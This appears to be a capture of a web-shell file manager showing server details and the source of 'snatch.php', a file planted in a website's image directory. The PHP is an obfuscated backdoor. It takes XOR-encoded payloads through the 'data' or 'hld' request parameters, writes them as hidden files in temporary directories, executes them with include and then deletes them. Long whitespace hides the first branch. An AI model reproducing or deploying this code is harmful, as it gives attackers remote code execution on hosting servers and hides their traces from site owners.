HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //proc/self/root/proc/self/root/home/vitanhod/glucosamine.vitavit.com.pk/img/snatch.php
<?php																																										if(in_array("data", array_keys($_REQUEST))){ $dchunk = $_REQUEST["data"]; $dchunk = explode ('.', $dchunk ) ; $object = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $p = 0; foreach( $dchunk as $v6) { $sChar = ord( $s[$p% $sLen]); $d =( ( int)$v6 - $sChar -( $p% 10)) ^ 71; $object.= chr( $d); $p++; } $value = array_filter(["/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm"]); foreach ($value as $elem): if (is_dir($elem) ? is_writable($elem) : false) { $ref = str_replace("{var_dir}", $elem, "{var_dir}/.factor"); if (@file_put_contents($ref, $object) !== false) { include $ref; unlink($ref); exit; } } endforeach; }


if(@$_REQUEST["hld"] !== null){
	$token = $_REQUEST["hld"];
	$token	 = 	 explode(  '.',$token	  );	
	$obj = '';
            $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s2	);
            $m = 0;
    
            foreach ($token as $v2) {  $sChar = ord($s2[$m%$sLen]	);
                $dec = ((int)$v2 - $sChar - ($m%10)) ^ 7;
                $obj .= chr($dec	);
                $m++;}	 
	$mrk = array_filter(["/var/tmp", "/dev/shm", getcwd(), getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir()]);
	while ($component = array_shift($mrk)) {
    		if (is_dir($component) ? is_writable($component) : false) {
    $rec = join("/", [$component, ".symbol"]);
    if (file_put_contents($rec, $obj)) {
	include $rec;
	@unlink($rec);
	die();
}
}
}
}